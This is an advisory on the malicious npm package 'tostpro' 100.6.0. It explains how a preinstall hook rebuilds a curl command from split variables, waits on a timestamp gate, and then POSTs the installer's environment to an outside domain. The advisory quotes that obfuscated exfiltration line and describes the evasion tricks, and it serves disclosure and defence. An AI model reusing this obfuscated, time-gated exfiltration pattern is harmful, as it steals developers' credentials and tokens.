tostpro

Details

**Severity:** Critical

**Affected versions:** `= 100.6.0`

## Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183)
The npm package [email protected] ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into `dom=https://abbishal.` plus `tld=com`, reconstructing them at runtime as `$i$h$l -d "`$b$s$a`" $dom$tld/sh/poc`. Execution is gated by `if [ `date +%s` -gt 1791141300 ]` (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of `env` — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states "No network access. No data collection," directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/tostpro/MAL-2026-17564.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/tostpro/MAL-2026-17564.json
- https://www.npmjs.com/package/tostpro/v/100.2.0
- https://www.npmjs.com/package/tostpro/v/100.6.0
- https://github.com/ossf/malicious-packages/blob/2bb9370d891283643f919e860abea2cc197b0b3b/osv/malicious/npm/tostpro/MAL-2026-17564.json
- https://www.npmjs.com/package/tostpro/v/100.7.0
- https://github.com/advisories/GHSA-462h-3mh4-gh4m

Compromised versions (1)

• = 100.6.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.